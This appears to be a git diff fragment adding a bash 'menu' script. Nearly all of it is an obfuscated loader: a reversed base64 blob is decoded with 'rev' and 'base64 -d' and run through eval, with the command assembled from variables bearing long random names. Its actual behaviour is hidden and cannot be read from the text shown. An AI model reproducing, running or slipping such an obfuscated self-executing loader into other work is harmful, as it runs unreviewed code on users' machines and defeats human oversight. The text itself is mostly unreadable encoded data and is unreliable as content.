Y0V3YlpWZv4Wai9CIzNXZshCJ9QWYvx2XwVnCpcSfzQCLyQCI05WayB3enAya3FGI8BiIkF2bs52dvRkIgAXZydGI8BCd4RnL0xWdzVmcvIXY0V3YlpWZv4Wai9CIzNXZshCJ9QWYvx2Xud3bkpQKn0HNkwyMkACdulmcwt3Jgs2dhBCfgISbvJnZgcmbpR3clRlIgAXZydGI8BCd4RnL0xWdzVmcvIXY0V3YlpWZv4Wai9CIzNXZshCJ9knYfJXZ39GcKkyJhR3On9yLux1LztjT7EmOnACZlNHfgIjZtASPgQWLgQXdjxHIzN3bsBidtACclJ3Z8ByJ9lDJggDJgQnbpJHc7dCIrdXY8BSbvNmLlx2Zv92ZgEzYtAyZulGcoQSPHd0ZulGcKIXYi1CInNXbKUGZyFWdnFmCgIXYi1CInNXbKoQfKIyaPRUMbVGXiASZtAyboNWZJoQZjlGblhWCKISbzMzOxs1MzADXg4SbxMzOxs1MzADXu02MzsTMbNzMwwlLtJzM7EzWzMDMcFERJJUVT1mMzsTMbNzMwwFIm02NzsTMbNzMwwFIBdkUBN0UFREItJzM7EzWzMDMcVERgMVQCVUVSBFIPRkTBpVSMFURSBSb3MzOxs1MzADXiASZu1CIvh2YllgC9lgCtJ3buNGI0VHc0lQCKUmbvRWCJoQZu9GZJkQCKISakQUMbVGXiASZu1CIvh2YllQCJkgCx4CIwVWZsNXCJkQCK8GZgsDfcBCXcBSLg8CIulGIpBicvZWCJkgCvRGI70FIhQyLj9mcw9CIk1CIbBSZslGa3lQCKMXa2l2YgQXdwRXCJogJgQHe05CdsV3clJ3LyFGd1NWZqV2LulmYvAiPgUmchh2ct0CI0NXZ0RWZlB3cJkgCikCZtACctVGdr1GKkISPSlERQ1EVjkQCKsHIpgSZjlGblhWCKEDIwVWZsNXCKsHIpgSZkJXY1dWYg42bpR3YuVnZKowXz9GdhRWYuVGbsBCf8BSXdBCVTRFepZ2LyFGd1NWZqV2LulmYvASZtAyWbpgC9pAVTRFepZ2LyFGd1NWZqV2LulmYvAiPgICWJZkIg8GajVmCiAyUVRVQUNVRkAiLu4iLu4iLu4iLuACdzVGdkVWZwNHIsxWY0NnbpBCdldWL0BXYgMCIg02N5s1MzADXiASZtAyboNWZKwGb152L2VGZv4jJgAmItBzWlx1TEFETBR1UOlUbyMzOzsVZcJCIl1CIvh2YlBWPTVFVBR1UFBiJmASXdBSKx0CIkFWZoxnI0NXZ0RWZlB3ciAydtACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKwGb152L2VGZv4jJgAmIO9USDFETBR1UOlEIFREIPxETBZUbxkzWzMDMcJCIl1CIvh2YlBWPTVFVBR1UFBCf8BSXdBSKx0CIkFWZoxnI0NXZ0RWZlB3ciAydtACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKwGb152L2VGZv4jJgkXLgoCdzVGdkVWZwNHIsxWY0NnbpBCdldWL0BXYgwHfg0VXgkSMtACZhVGa8JCdzVGdkVWZwNnIgcXLgAXZydGfz52bpR3YlxWZz1CdldWLtAyZrBHZoQCIbtlC0NXZ0RWZlB3cjogIgMVVUFEVTVEJg4iLu4iLu4iLu4CcpBXLz42boRXewBCbsFGdz5WagQXZn1CdwFGIjACItdTObNzMwwlIgUWLg8GajVmCsxWdu9idlR2L+YCIgJSbwsVZc9ERBxUQUNlTJ1mMzszMbVGXiASZtAyboNWZg1zUVRVQUNVRgYiJg0VXgkSMtACZhVGa8JCcpBXLz42boRXewJCI31CIwVmcnx3cu9Wa0NWZsV2ctQXZn1SLgc2awRGKkAyWbpAbsVnbvYXZk9iPmACYi40TJNUQMFEVT5USgUERg8ETMFkRtFTObNzMwwlIgUWLg8GajVGY9MVVUFEVTVEI8xHId1FIpETLgQWYlhGfiAXaw1yMu9Ga0lHciAydtACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKwGb152L2VGZv4jJgkXLgAXaw1yMu9Ga0lHcgwGbhR3culGI0V2ZtQHchBCf8BSXdBSKx0CIkFWZoxnIwlGctMjbvhGd5BnIgcXLgAXZydGfz52bpR3YlxWZz1CdldWLtAyZrBHZoQCIbtlCwlGctMjbvhGd5B3IKICITVFVBR1UFRCIu4iLu4iLu4iLu4iLu4yMu9Ga0lHcgwGbhR3culGI0V2ZtQHchByIgASb3kzWzMDMcJCIl1CIvh2YlpAbsVnbvYXZk9iPmACYi0GMbVGXPRUQMFEVT5UStJzM7MzWlxlIgUWLg8GajVGY9MVVUFEVTVEImYCId1FIpETLgQWYlhGfiMjbvhGd5BnIgcXLgAXZydGfz52bpR3YlxWZz1CdldWLtAyZrBHZoQCIbtlCsxWdu9idlR2L+YCIgJiTPl0QBxUQUNlTJBSREByTMxUQG1WM5s1MzADXiASZtAyboNWZg1zUVRVQUNVRgwHfg0VXgkSMtACZhVGa8JyMu9Ga0lHciAydtACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKwGb152L2VGZv4jJgkXLgMjbvhGd5BHIsxWY0NnbpBCdldWL0BXYgwHfg0VXgkSMtACZhVGa8JyMu9Ga0lHciAydtACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKMjbvhGd5B3IKICITVFVBR1UFRCIu4iLu4iLu4iLu4CcpBXLu9Ga0lHcgwGbhR3culGI0V2ZtQHchByIgASb3kzWzMDMcJCIl1CIvh2YlpAbsVnbvYXZk9iPmACYi8ERBxUQUNlTJ1mM5s1MzADXiASZtAyboNWZg1zUVRVQUNVRgYiJg0VXgkSMtACZhVGa8JCcpBXLu9Ga0lHciAydtACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKwGb152L2VGZv4jJgAmIO9USDFETBR1UOlEIFREIPxETBZUbxkzWzMDMcJCIl1CIvh2YlBWPTVFVBR1UFBCf8BSXdBSKx0CIkFWZoxnIwlGct42boRXewJCI31CIwVmcnx3cu9Wa0NWZsV2ctQXZn1SLgc2awRGKkAyWbpAbsVnbvYXZk9iPmASetACcpBXLu9Ga0lHcgwGbhR3culGI0V2ZtQHchBCf8BSXdBSKx0CIkFWZoxnIwlGct42boRXewJCI31CIwVmcnx3cu9Wa0NWZsV2ctQXZn1SLgc2awRGKkAyWbpAcpB3IKICITVFVBR1UFRCIu4iLu4iLu4iLu4CcpBXLu9Ga0lHcgwGbhR3culGI0V2ZtQHchByIgASb3kzWzMDMcJCIl1CIvh2YlpAbsVnbvYXZk9iPmACYi8ERBxUQUNlTJ1mM5s1MzADXiASZtAyboNWZg1zUVRVQUNVRgYiJg0VXgkSMtACZhVGa8JibvhGd5BnIgcXLgAXZydGfz52bpR3YlxWZz1CdldWLtAyZrBHZoQCIbtlCsxWdu9idlR2L+YCIgJiTPl0QBxUQUNlTJBSREByTMxUQG1WM5s1MzADXiASZtAyboNWZg1zUVRVQUNVRgwHfg0VXgkSMtACZhVGa8JibvhGd5BnIgcXLgAXZydGfz52bpR3YlxWZz1CdldWLtAyZrBHZoQCIbtlCsxWdu9idlR2L+YCI51CIu9Ga0lHcgwGbhR3culGI0V2ZtQHchBCf8BSXdBSKx0CIkFWZoxnIu9Ga0lHciAydtACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WK42boRXewNiC7BSKo81cvRXYkFmblxGbKUjMgwUctAidwBCfgAiIhACRBRUSD9ETFZFIFREITFkQFVlUQByTE5UQJNUSOlEIiASZtAyboNWZKogchJWLgc2ctpgchVGbjZiJyFWZsNmC7BSKoACdzVGdfdmbpR3clRnCK0nCsxWdu9idlR2L+IDI0JXY0NHI41CI05WZpx2Yt4WYiJDbpFmZKwGb152L2VGZv4jMgQnchR3cggXLgMXZzF2Y0NXZ01ibhJmMslWYmpgIpg2cu4WYiJTahZ2LzFGduVWbhJnclZ2Lz92cyV3YlJ1LulWYt9Caj5WYyJ2L3FmcvEzakRHcpJ3Yz9SMwQWard3byR2Lt92YuEWZ0l2Zv8iOzBHd0hGIMN1cm1CIsJXdjhCJiAyYtACazFmYKsHIpgCIuFmYfxWahZmCK0nCpZmCpZGIK4mc1RXZypAIyFmYtAyZz1mClNHblBiCuJXd0VmcKIXYi1CInNXbKIyb0lGepOMIu92Yg8GZh5WatlGblBibhhGIlNHI91VNbJ3bjtHJiASZtAyboNWZKICUDRFIkVmcgUGZg42sDn2YhJXdnlmZu92Qg0XX1slcvN2ekICIl1CIvh2YlpQMm4jMgwGb152L2VGZvAiPgYmbvNmLsR3Yzl3cvMGdl9CIw1CIsR3Yzl3cKYmbvNmLsR3Yzl3cvMGdl9CIsN2c5N3Lw1GdvAiZtAidtBiJmACbjNXez9CctR3Lg4DIm52bj5Cb0N2c5N3LjRXZvAiIyJmY9w2byRnbvN2Xu9Wa0NXZn52bj9FcjRnL0YHcp5Cdl5mCxZWPjNXakF3X0xWdhZWZk5SZy92YuQXZupAMg0DIlxGZp9lclRnZh9FdyFGdz91dvx2cfB3Y05CN2BXauQXZupQMg0DI5NmblRXYs91dvx2XwNGduQjdwlmL0VmbKYTMyczN3YTMgQDOzYTMgYTOwQDI9ASbl12dfB3Y05CN2BXauQXZupgNxIzN3cjNxACM4MzN4AiN5ADNg0DItVWby9FcjRnL0YHcp5Cdl5mC2EjM3czN2EDI9ACeh12XtVWb35SZy92YuQXZupgNxIzN3cjNxASPggXYt9Vbl1mcuUmcvNmL0VmbKEDI9AyZulGbhN2cfd3bk5Wa39FcjRnL0YHcp5Cdl5mCNRUQj4lIgYXLgAXZydmChR3cvB3XzVmcgQXZz5WdK4WZoRHI70VXgcycnASPgISY0N3bw91clJHJiAyWbBiZppQY0N3bw91clJHIuBSatASZtAiIgoTXu9ycbByPQNEVg42sDn2YhJXdnlmZu92YgEGbgIXY0lWdxBSYlNXZEBiIgAXLgQWYlJnCyFmYtAyZz1mCiESYtVGdzl2cgwWZg4WZg8GZhdWZydWYg4WYoBSZzBSY5BSfdVzWy92Y7RiIgUWLg8GajVmCiA1QUBCZlJHIlRGIuN7wpNWYyV3ZpZmbvNEI91VNbJ3bjtHJiASZtAyboNWZKUkVP1URSNiClNHblBiCpZmCuJXd0VmcKAichJWLgc2ctpQZzxWZgogbyVHdlJnCgIXYi1CInNXbKIyb0lGepOMIu92Yg8GZhdWZydWYg4WYoBSZzBSfdVzWy92Y7RiIgUWLg8GajVmCiA1QUBCZlJHIlRGIuN7wpNWYyV3ZpZmbvNEI91VNbJ3bjtHJiASZtAyboNWZKEjJ+IDIsxWdu9idlR2Lg4DIm52bj5Cb0N2c5N3LjRXZvACctACb0N2c5NnCm52bj5Cb0N2c5N3LjRXZvAiP+AiIyJmY9w2byRnbvN2Xu9Wa0NXZn52bj9FcjRnL0YHcp5Cdl5mCxZWPjNXakF3X0xWdhZWZk5SZy92YuQXZupAMg0DIlxGZp9lclRnZh9FdyFGdz91dvx2cfB3Y05CN2BXauQXZupQMg0DI5NmblRXYs91dvx2XwNGduQjdwlmL0VmbKYTMyczN3YTMgQDOzYTMgYTOwQDI9ASbl12dfB3Y05CN2BXauQXZupgNxIzN3cjNxACM4MzN4AiN5ADNg0DItVWby9FcjRnL0YHcp5Cdl5mC2EjM3czN2EDI9ACeh12XtVWb35SZy92YuQXZupgNxIzN3cjNxASPggXYt9Vbl1mcuUmcvNmL0VmbKEDI9AyZulGbhN2cfd3bk5Wa39FcjRnL0YHcp5Cdl5mIg8GajVmCm52bj5Cb0N2c5N3LjRXZvAiP+AiINRUQjICIvh2YlpQY0N3bfB3clJHI0V2cuVnCuVGa0ByOd1FInM3Jg0DIiEGdz92XwNXZyRiIgs1WgYWaKISb3MzOxs1MzADXiASZtAyboNWZKEGdz92XwNXZyBycgkWLgUWLgICI60lbvM3Wg8jbzOcajFGbhR3culGIhxGIu92YgIXY15Wa052bDBiIgAXLgQWYlJnCgIXYi1CInNXbKICZhRWaj9GblZHIhxGIyFmcvpWZtBSegEWaj5WZ0FGbgEGbg0XX1slcvN2ekICIl1CIvh2YlpgIyl2Y1RWZyBSYyFGcgEWblR3cpNHIsVGZg0XX1slcvN2ekICIl1CIvh2YlpgIpIlQChCIkVmcgUGZgMXZu9WajFmc1dWam52bjBSfdVzWy92Y7RiIgUWLg8GajVmCiMXYuV3ZsFGIhOschlmYtF2YgQHcpJ3YzBSZ0NXRg0XX1slcvN2ekICIl1CIvh2YlpgIh82ZzVWayBSegEGduVWdjBSYpB3byBHI1NHIy9GcgU2YpxWa0VVoCDSfdVzWy92Y7RiIgUWLg8GajVmCiwWY05WZtlmclBHelBCdwlmcjNHIuVHIzVGIlR3cFBSfdVzWy92Y7RiIgUWLg8GajVmCBxUQUNlTJNiCuVGa0ByOd1FIwAScl1CIgZmbvNmLsR3Yzl3cvMGdl9CIi0ERBNiXiAyYtACclJ3ZgByWbBiZppwcxACclVGbzpgIxADZpt2dvJHZABiUPBFIPRUQalETB5UQg0XX1slcvN2ekICIl1CIvh2YlpAIyFmYtAyZz1mCiEicvRWa2JXZzBCblRGIkFGZpN2bsVmdgkHI91FNbJ3bjtHJiASZtAyboNWZKISYpNmblRXYMBSYMBichJ3bqVWTgEmchBFI91FNbJ3bjtHJiASZtAyboNWZKIybkFGdjVWevJHcgUWdmBCdwlmcjNFIlR3cFBSfdRzWy92Y7RiIgUWLg8GajVmCgIXYi1CInNXbKsXKoIlQC9FcjRnCK0nCpg2cuAHZ1J2LzFGduVWbhJnclZ2Lz92cyV3YlJ1LulWYt9Caj5WYyJ2L3FmcvEzakRHcpJ3Yz9SMwQWard3byR2Lt92YuEWZ0l2Zv8iOzBHd0hGIMN1ctACbyV3YowDIlNmc192cKIXYi1CInNXbKISKn4EUWRUQCByTE5UQMFEVT5USnACd4VGdulmcwhCJJICIl1CIvh2YlpAIyFmYtAyZz1mC7lCKQRUVkFmYKoQfKMnMgAXZlx2cKMCIyFmYtAyZz1mCi01kcK+Wg8ERJRUQROcQg8kUUNVSHVkUg01kcK+WtJzM7EzWlxlIgUWLg8GajVmCjAichJWLgc2ctpAZy92dzNXYw1ibv1WbvN2Lk5SbhB3LjRXZvAyJvs2b0hGd1F2XlNXdjAyczFGcfR3cylmZflnc0ByavxGb15GI39GZhh2cgITM1EGazBybz5Cep5Wdf1WYwBCduVWajlmZmV3cgQmcvd3czFGcvoiLvNnLilGbrNWYyN2XtFGcq4yLzdCIp1CIkV2cKICRu0UQQBSQg8kUUNVSHVkUg8EROVUSEFUkDHUb3kzOxsVZcJCIl1CIvh2YlpgIpciUUxUVWBSQSFEUg8URYlkRg8EROFEVVNURKV0JgQHelRnbpJHcoQSCiASZtAyboNWZKcCZ3N3chBFITBlVgIHdsVnVgEmchBHIYlkRg8GZuF2YpxGcBdCIl1CIvh2YlNiC7lCKyRHb1Z3X4lmZKoQfKMXZtF2ZvI3c19iOulmYvojbpJ2cvojbpJ2LyNXdvojbpJ2LsF2Yvx2LyNXdvojbpJ2cvwWYj9GbvI3c19iOulmYz9iczV3L6gEVBBFJ9gEVBBFI0J3bwhXZJogchJWLgc2ctlgCpg2cuQ1aj9Gbi9ycvNnc1NWZS9ibpFWbvg2YuFmci9ydhJ3LxsGZ0BXayN2cvEDMkl2a39mck9SbvNmLhVGdpd2LvozcwRHdoBCTz1CIsJXdjhCPgU2YyV3bzlgCyFmYtAyZz1WCKsXKoQnblJncvR3XrN2bsJmCK0nCyFmYtAyZz12IKISKi0GMbVGXdBichNXZydWZSByWtFDN7EzWzMDMcJCIhJnYtAyZz1GKkAireKOItFzM7AzWzMDMc1Vb1MzOws1MzADXw0mNzsDMbNzMww1WtVzM7AzWzMDMcBiIgUWLg8GajV2IKAichJWLgc2ctNiCikCVP9kQFJFKgMFUWBiUBl0QJ5USFJFI911MbJ3bjtHJu6p4g0WMzsDMbNzMwwVXtVzM7AzWzMDMcJTMtZzM7AzWzMDMctFItVzM7AzWzMDMcJCIl1CIvh2YlNiCikCIyVGdzFWTs92bUNCIo02MzsDMbNzMwwFIT9USOlUTPRkQVNFISFkUVRFUBNEI911MbJ3bjtHJu6p4g0WMzsDMbNzMwwVXtVzM7AzWzMDMcFTMtZzM7AzWzMDMctFItVzM7AzWzMDMcJCIl1CIvh2YlNiCiAyUPlkTJ10TEBSREBCVT9ESgEkUUxUVg0XXzslcvN2ek4qniDSbxMzOws1MzADXd1WNzsDMbNzMwwFMx0mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKICRB9ETZFEUgUERgI1TEFkUF5URHBSfdNzWy92Y7RireKOItFzM7AzWzMDMc1Vb1MzOws1MzADX50mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKISROlETO9EIPZVSINkUBBiUJRlUBBVTPNEI911MbJ3bjtHJu6p4g0WMzsDMbNzMwwVXtVzM7AzWzMDMchTb2MzOws1MzADXbBSb1MzOws1MzADXiASZtAyboNWZjogIS9ERJZlUFNFIMVERgQUQEl0QPxURWBSREBCVTVEVg0XXzslcvN2ek4qniDSbxMzOws1MzADXd1WNzsDMbNzMww1NtZzM7AzWzMDMctFItVzM7AzWzMDMcJCIl1CIvh2YlNiCiAyUQZFIMVERgMVRMxUQUVERg0XXzslcvN2ek4qniDSbxMzOws1MzADXd1WNzsDMbNzMwwlNtZzM7AzWzMDMctFItVzM7AzWzMDMcJCIl1CIvh2YlNiCiI2XslWYmRCIpACUJBSZyV3YlNFIoASbyMzOws1MzADXOFkQMlUQGBSfdNzWy92Y7RireKOItFzM7AzWzMDMc1Vb1MzOws1MzADX10mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKICZlVGczB3Y09FJgkCISJkQggCIEVURQNFIQNEVg0XXzslcvN2ek4qniDSbxMzOws1MzADXd1WNzsDMbNzMwwFNtZzM7AzWzMDMctFItVzM7AzWzMDMcJCIl1CIvh2YlNiCi4Gc2RWYi9FJgkycsxWYD9WZklmVvUmbpxmbPBycvdWZ1pEKg4EUW1CZhJEI911MbJ3bjtHJu6p4g0WMzsDMbNzMwwVXtVzM7AzWzMDMcNTb2MzOws1MzADXbBSb1MzOws1MzADXiASZtAyboNWZjogIyRHb1ZFIEd1czFGUggVSGBSfdNzWy92Y7RireKOItFzM7AzWzMDMc1Vb1MzOws1MzADXy0mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKISKgEEVFJ0IggSbzMzOws1MzADXgMXZ2FGbDBychJnYhxWYQBSegQnblJncvRFIvVWdx9GbCBSfdNzWy92Y7RireKOItFzM7AzWzMDMc1Vb1MzOws1MzADXx0mNzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKs2YhJmCnQ3bvJWZytzUQZFISFUSDlkTJVkUgkmZtcCInM1TJ5USN9ERCV1UgIVQSVFVQF0QnAyJT9USOlUTPREIFREIUN1TIFkUUxUVnAyJTRUQPxUWBBFIFREIS9ERBJVROV0RnAyJF5USM50TgM1TWlESDJVQgIVSUJVQQ10TDdCIiQWYkl2YvxWZ2BSZkBCdzVGd7Q1UFRVLEVURQNFIpZWLiAiIS9ERJZlUFNFIMVERgM1TUFERioAXgIiYfxWahZGJgACcpBSd0BSYyV3ZlNHIl5WZpRnbh12OO9USUNURU9kUQBiTBJkMMlUQGBSam1iIgICZlVGczB3Y09FJgQURFB1UtA1QUJCIi4Gc2RWYi9FJg4EUWRUQCBimD7URNJCInIFVMVlVgQ0VTNVQQBCWJZ0JgcibzOcajFmc1dWam52bjtDVOVkUS9EVgs0QPxkQgkmZtcCIj5Wdm9VduVWbKIXYi1CInNXbKISKnMVRMFkUF5URHByUBRlTFlUTBJlUFh0JgQHelRnbpJHcoQCIgASCiASYtFWLgc2ctpQfKIXYi1CInNXbJowJbSp4BSp4XSp45Wp4gkbliDSuVKOI5Wp4gkblijbliHIlifJlinblinbliDSuVKeuVKOI5Wp44Wp4XSp45Wp44Wp4XSp45Wp44Wp4BSp4XSp45Wp4gkblirwkUKegUK+lUK+qUKegUK+oUKOIDSp4gsKlifJliPIliDCuVK+oUK+gUK+gUK+gUK+gUK+qUKegUK+oUK+mUK+sUK+oUK+mUK+sUK+oUKOI4Wp4jSp4rSp4BSp4jSp4KMJliHIli/IliPJliHIli/IlijbliPLlirblivbliPJli/IlijbliHIli/IlivbliPJliPLli/IliPJliHIli/IliPJliHIli/IliPJliHIli/IlijbliHIli/IlivbliDyuVK+JgwDP8ACdhNWCKsHI8xHI9pgchJWLgc2ctlgC0F2Ys9GbgwHIpUWbh52L092by9CI0F2YoQCIlJXd0VnZgYWLgQXZsdWamlgC7BiJmASXdBSZtFmbvQ3bvJ3LgUWLgs1WKIXYlx2YK8GasF2YlJWYj9SZ0lGbt0GZh9yY0V2LgU2YyV3bzpwepgSduVWbfRnchR3cKowZz1GIlNmc192cKg2chJ2LulmYvEyI | r";btpHxajasweNDgSoWuZqexwVYOFKgWAOYSibkLESUnSEVGDenwOuXewuRdNKrdbDXnuYMAxBkQHsJJfRPrPIFvjIoYriKogWPKfu="sxgzhJNCniuSNuaXCxbugpTqBzeKauhUSQinqGwsjIuFXVZNUtazjrSbaTTNASGgAOQPgtzTbXPDXMxxRdTVKaTYorqxJizbEJAj";GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt="";THNeSZtKLMyySQfSWRpwiEwuBrHPVMmlwpTuDOHYWPeOorqENJODFjAGKgyGwZgNeiJTQSMthIcddpIAIDfDbSrFUqOVNGcagfVX="as";NKygDIGQAVkRYVRMGthHnswdhcTMbLikElLxNWGnRROyAfsytqZImmvtaTzAhGjMIdFWCnkdHkegszDOUqmEEyQfUYJhTioEIMHu="rcsXXQrPOrctmLmZQGhSssylViVjrWXdriLonWYZzwXDBmddumGSMcpwCPdUsGkXIKYffMluVvZBVMvDMbdtNWENupzLXmXqkYey";eZZoDtlJXfGTaMHgQewIEDJgMldjaqwNjKYjcdzzZKfBxpHDzVtofMrEKsIrzsEtNDgyoiRGVWPqgeTcLFtBofVpjbjySPNNNIzT="cEBrLTAvmwzEhlRasOLlfwTmjKPUROghSPDwaZHnbRpYIvDfWhDDtLNCjSqKXeNGTBKYOlJOshfKgMvYcPBQYkcEhbkDtrgudvdu";ZFPFSfNxjtzwqPieWwgLoiXXHfewJmoaLZKTOnsaLnirSfdnhyIBwfgaFpWFCoEiuTqhHFtACNqlwAbXHaVCICbHtjdoVlRtLxlk="o";uuadWrmSIlEKNLlQhgmCptXRCrIInTTnGueIlSbnbHLRbjaRVzrReMvpEicjnknYwjCrujqPruPfrFdTLImGyYmZNfaDNrqErkhT="6";GwwYEnkFjxHtRUBMnlGlOalvSSsbPsEIlidQEwiwAQjYLCGfIsxKWxxTCsVAxitgXEiHWNvjtVQFIBdhuXDlAewntrpMEiusoRzw="PVRoFYlOyKEWSfYHOoIeVgxFZzbruhixBhYxixvmElNNoXdmcHVEiEofpVbqwsRCwKAEbJtGXPUFGIALtWFgaaQKfMiBOmBzvDgb";YMjyLByCPFyYxEjeZvVfxZsqoudajOBkoCrvPglFTemmHLJdjQArMlSWBFwXChXUngVUwStHUkJUvvZfCfuyOtpApxZzURRAzVmg=" -d";fGTjPIbrQPyfdSvrIYoGImllrplfbbfOIBBwJZcdwyEvtOGQyRNQAXAwynHhNdktBBxurfcjyCQBCowEwAyxkWnPJKkjEKVyCUEN="PrzGTaMIQsoXZxNPJrZjgkZTDToMlkqnQnvFgozgVWzDxDyIbBITMZWabAhEFbfKvRsCKTPOWKMMSDQrOIBLESqPwRgJoIbFuFkB";bEPoLCsaQZlKOWiGcAiiumxfpHJhVSDZdrZQAIKGXQTSmHrGCrQvrdlfsJGSRdfODqJaCtkslrdsyKiFXnGGJhgAzkSxvydDFrnI="";sXyKioGGGkHWrNMjVpyIWHQCgqOxbQILlyObiQhRTvRkWobwugUyQnAXbgQUXjyIZvBwiTrwhFzspDJOrNDTmZMAsvtqQzRzIYHh="b";jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns="e";FhaETbQegcuFDsHszOTpkjIEAMryyQfJqazjoxPhaiXQaxdoJuLoqgwTAQRreZKKfOSpWcfWincdWrMsAkpsvrNQBmqfTwYIvord="v |";Tx=Eds;vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa="";ahNToScfmhNBJOPgCzWIJbeNvrFfIJEkRIamfjPPJaUsNeINxzJmulKBfkomxuRysyQLpyuzsZlpdysoqiPxxnrvKjqxRtGirgGI=$(eval "$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$vAQIVljWndsvhMhNyxVLdBtbmylNztxbQeMzrRkofgHjgvmtWYacNElOrnuAUZLECvENYnDbNFlIxsHJVhEeZLEfpjSRUjTPLShr$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV$ZFPFSfNxjtzwqPieWwgLoiXXHfewJmoaLZKTOnsaLnirSfdnhyIBwfgaFpWFCoEiuTqhHFtACNqlwAbXHaVCICbHtjdoVlRtLxlk$gcgkTRXOmbaAxzGTLOcmHIsJMyFlfhEFlFFlmFKRZinKxMFeCPLgeeAeqXDMrcEHFHiwkCAIpdqrgkQyFbIjhwhFPZVhqajGNoOu$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$FhaETbQegcuFDsHszOTpkjIEAMryyQfJqazjoxPhaiXQaxdoJuLoqgwTAQRreZKKfOSpWcfWincdWrMsAkpsvrNQBmqfTwYIvord$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$sXyKioGGGkHWrNMjVpyIWHQCgqOxbQILlyObiQhRTvRkWobwugUyQnAXbgQUXjyIZvBwiTrwhFzspDJOrNDTmZMAsvtqQzRzIYHh$vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa$THNeSZtKLMyySQfSWRpwiEwuBrHPVMmlwpTuDOHYWPeOorqENJODFjAGKgyGwZgNeiJTQSMthIcddpIAIDfDbSrFUqOVNGcagfVX$jvQyoPfqXeJFwVkfVaYmzrvIqAcrEByWTZDfJdoLNIRLpbhpxoNArbUnBmLzRKrAXpGLSKkgRdLFZSSPmWuqMIygjNyDhTelALns$uuadWrmSIlEKNLlQhgmCptXRCrIInTTnGueIlSbnbHLRbjaRVzrReMvpEicjnknYwjCrujqPruPfrFdTLImGyYmZNfaDNrqErkhT$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV$MazeaEKrpPngTNAQnOMVJxJHPVuinlraiGazogbvgjQbYRRZoLnQtFtqCjazaGtvZWBwoPQLACOdfrHxVHJxIlSuMSbOgegiALev$YMjyLByCPFyYxEjeZvVfxZsqoudajOBkoCrvPglFTemmHLJdjQArMlSWBFwXChXUngVUwStHUkJUvvZfCfuyOtpApxZzURRAzVmg$vpwJIZUZrzrqMxrwPQCgjHbngMtwmfqszfACoACjAmFguKuhPpjsKwetvAkZPrBUYGnQRrTSCxPIBnUznKvuptngocPwRPGcsQZa");eval "$bEPoLCsaQZlKOWiGcAiiumxfpHJhVSDZdrZQAIKGXQTSmHrGCrQvrdlfsJGSRdfODqJaCtkslrdsyKiFXnGGJhgAzkSxvydDFrnI$ahNToScfmhNBJOPgCzWIJbeNvrFfIJEkRIamfjPPJaUsNeINxzJmulKBfkomxuRysyQLpyuzsZlpdysoqiPxxnrvKjqxRtGirgGI$GsWOkvdHjcQFpVgaUNQMZjCEttVTtpcLvicgYaLzKedoGGQDPROkdrIaYoSffoBCICrBUxdmeYMJZwfzTNIJYHgstWYVtoKdRgIt$RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV" \ No newline at end of file diff --git a/Lista/menu b/Lista/menu new file mode 100755 index 0000000..c8ae6cb --- /dev/null +++ b/Lista/menu @@ -0,0 +1,2 @@ +#!/bin/bash 